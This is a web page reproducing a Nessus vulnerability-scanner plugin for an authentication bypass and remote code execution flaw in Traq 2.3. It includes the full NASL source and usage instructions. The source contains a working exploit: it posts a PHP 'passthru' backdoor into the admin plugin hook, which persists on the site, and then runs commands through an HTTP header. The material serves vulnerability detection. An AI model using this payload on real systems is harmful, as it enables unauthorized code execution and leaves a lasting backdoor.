Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution - Nessus

High   Plugin ID: 62892

This page contains detailed information about the Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 62892
Name: Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution
Filename: traq_authenticate_function_code_execution.nasl
Vulnerability Published: 2011-12-07
This Plugin Published: 2012-11-12
Last Modification Time: 2022-04-11
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, traq_detect.nasl
Required KB Items [?]: www/PHP, www/traq
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2011-12-07
Patch Published: 2011-12-02
CVE [?]: N/A
CPE [?]: x-cpe:/a:traq:traq

Synopsis

The remote web server hosts an application that allows arbitrary code execution.

Description

The version of Traq installed on the remote host contains a flaw that could allow a remote attacker to bypass the authentication mechanism and inject and execute arbitrary code. The flaw is caused by the application failing to properly restrict admin rights in the 'authenticate()' function in 'admincp/common.php'.

Note that successful exploitation of this issue, such as by this plugin, results in a persistent change to the site. To undo this change, the 'traq_plugin_code' table of the MySQL database will need to be modified to remove the code added by this plugin.

Solution

Upgrade to version 2.3.1 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution vulnerability:

  1. Metasploit: exploit/multi/http/traq_plugin_exec
    [Traq admincp/common.php Remote Code Execution]
  2. Exploit-DB: exploits/php/webapps/18213.php
    [EDB-18213: Traq 2.3 - Authentication Bypass / Remote Code Execution]
  3. D2 Elliot: traq_2.3_rce.html
    [Traq 2.3 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:NA (None)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.8 (High)

Go back to menu.

Plugin Source


This is the traq_authenticate_function_code_execution.nasl nessus plugin source code. This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62892);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(50961);
  script_xref(name:"EDB-ID", value:"18213");

  script_name(english:"Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that allows arbitrary code
execution.");
  script_set_attribute(attribute:"description", value:
"The version of Traq installed on the remote host contains a flaw that
could allow a remote attacker to bypass the authentication mechanism and
inject and execute arbitrary code.  The flaw is caused by the
application failing to properly restrict admin rights in the
'authenticate()' function in 'admincp/common.php'. 

Note that successful exploitation of this issue, such as by this plugin,
results in a persistent change to the site.  To undo this change, the
'traq_plugin_code' table of the MySQL database will need to be modified
to remove the code added by this plugin.");
  script_set_attribute(attribute:"see_also", value:"http://www.saintcorporation.com/cgi-bin/exploit_info/traq_authenticate");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Traq 2.3 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Traq admincp/common.php Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/12/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/12/02");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:traq:traq");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("traq_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/traq", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "traq",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
vuln = FALSE;
install_url = build_url(qs:dir+'/', port:port);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';
  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

token = toupper((SCRIPT_NAME - ".nasl"));

# Send our exploit which is stored in the sql table traq_plugin_code
attack_str = "plugin_id=1&title=1&execorder=0&hook=template_footer&code=error_reporting(0);print("+token+");passthru(base64_decode($_SERVER[HTTP_"+token+"]));die;";

res = http_send_recv3(
  port         : port,
  method       : "POST",
  item         : dir + '/admincp/plugins.php?newhook',
  data         : attack_str,
  add_headers  : make_array(
    "Content-Type","application/x-www-form-urlencoded"),
  exit_on_fail : TRUE
);

exp_request = http_last_sent_request();

# Send a command and see if our exploit is a success
foreach cmd (cmds)
{
  # convert our command to base64
  b64cmd = base64(str:cmd);

  url = dir + "/index.php";
  res2 = http_send_recv3(
    method       : "GET",
    item         : url,
    port         : port,
    add_headers  : make_array(token, b64cmd),
    exit_on_fail : TRUE
  );

  get_request = http_last_sent_request();

  if (egrep(pattern:cmd_pats[cmd], string:res2[2]))
  {
    # Replace ^M character if we encounter it
    out =  str_replace(string:res2[2], find:raw_string(0x0D), replace:'');
    output = strstr(out, token) - token;
    vuln = TRUE;
  }
  if (vuln) break;
}

if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "Traq", install_url);

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\n' + 'Nessus was able to verify the issue exists using the following pair' +
    '\n' + 'of requests :' +
    '\n' +
    '\n' + snip +
    '\n' + exp_request +
    '\n' + snip +
    '\n' + get_request +
    '\n' + snip +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\n' + 'This executed the command "'+ cmd +'" which produced the following ' +
      '\n' + 'output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
   security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/traq_authenticate_function_code_execution.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\traq_authenticate_function_code_execution.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/traq_authenticate_function_code_execution.nasl

Go back to menu.

How to Run


Here is how to run the Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Traq admincp/common.php authenticate() Function Authentication Bypass Remote Code Execution plugin ID 62892.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl traq_authenticate_function_code_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a traq_authenticate_function_code_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - traq_authenticate_function_code_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state traq_authenticate_function_code_execution.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 62772 - RHEL 6 : kdelibs (RHSA-2012:1418)
  • 62773 - Scientific Linux Security Update : java-1.6.0-sun on SL5.x i386/x86_64 (20121018) (ROBOT)
  • 62775 - Scientific Linux Security Update : kdelibs on SL6.x i386/x86_64 (20121030)
  • 62785 - ManageEngine SupportCenter Plus HomePage.do fromCustomer Parameter XSS
  • 62789 - Fedora 16 : dbus-1.4.10-4.fc16 (2012-14126)
  • 62801 - Mac OS X : OS X Server < 2.1.1 Multiple Vulnerabilities
  • 62802 - Mac OS X : Apple Safari < 6.0.2 Multiple Vulnerabilities
  • 62803 - Apple iOS < 6.0.1 Multiple Vulnerabilities
  • 62805 - Debian DSA-2572-1 : iceape - several vulnerabilities
  • 62806 - FreeBSD : apache22 -- several vulnerabilities (65539c54-2517-11e2-b9d6-20cf30e32f6d)
  • 62813 - Symphony Password Retrieval Script XSS
  • 62815 - Ubuntu 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : mysql-5.1, mysql-5.5, mysql-dfsg-5.1 vulnerabilities (USN-1621-1)
  • 62867 - GLSA-201211-01 : MantisBT: Multiple vulnerabilities
  • 62869 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : apache2 vulnerabilities (USN-1627-1)
  • 62870 - Ubuntu 10.04 LTS / 11.10 / 12.04 LTS : qt4-x11 vulnerability (USN-1628-1)
  • 62875 - Fedora 18 : kdelibs-4.9.2-11.fc18 (2012-17234)
  • 62890 - QuickTime < 7.7.3 Multiple Vulnerabilities (Windows)
  • 62900 - Ubuntu 12.04 LTS / 12.10 : libav vulnerabilities (USN-1630-1)
  • 62902 - HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
  • 62905 - MS12-073: Vulnerabilities in Microsoft Internet Information Services (IIS) Could Allow Information Disclosure (2733829)
  • 62921 - CentOS 6 : mysql (CESA-2012:1462)
  • 62923 - RHEL 6 : mysql (RHSA-2012:1462)
  • 62930 - RHEL 5 / 6 : java-1.5.0-ibm (RHSA-2012:1465) (ROBOT)
  • 62931 - RHEL 5 / 6 : java-1.6.0-ibm (RHSA-2012:1466) (ROBOT)
  • 62932 - RHEL 6 : java-1.7.0-ibm (RHSA-2012:1467) (ROBOT)
  • 62934 - Scientific Linux Security Update : mysql on SL6.x i386/x86_64 (20121114)
  • 62938 - Freestyle Support Portal Component for Joomla! 'prodid' Parameter SQLi
  • 62944 - VMSA-2012-0016 : VMware security updates for vSphere API and ESX Service Console
  • 62950 - Fedora 17 : kdelibs-4.9.2-11.fc17 (2012-17385)
  • 62951 - Fedora 16 : kdelibs-4.8.5-2.fc16 (2012-17388)
  • 62956 - FreeBSD : bugzilla -- multiple vulnerabilities (2b841f88-2e8d-11e2-ad21-20cf30e32f6d)
  • 62965 - IOServer XML Server URI Directory Traversal Arbitrary File Access
  • 62968 - Novell Sentinel Log Manager Authentication Bypass
  • 62973 - Bugzilla < 3.6.12 / 4.0.9 / 4.2.4 / 4.4rc1 Multiple Vulnerabilities

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file traq_authenticate_function_code_execution.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

Go back to menu.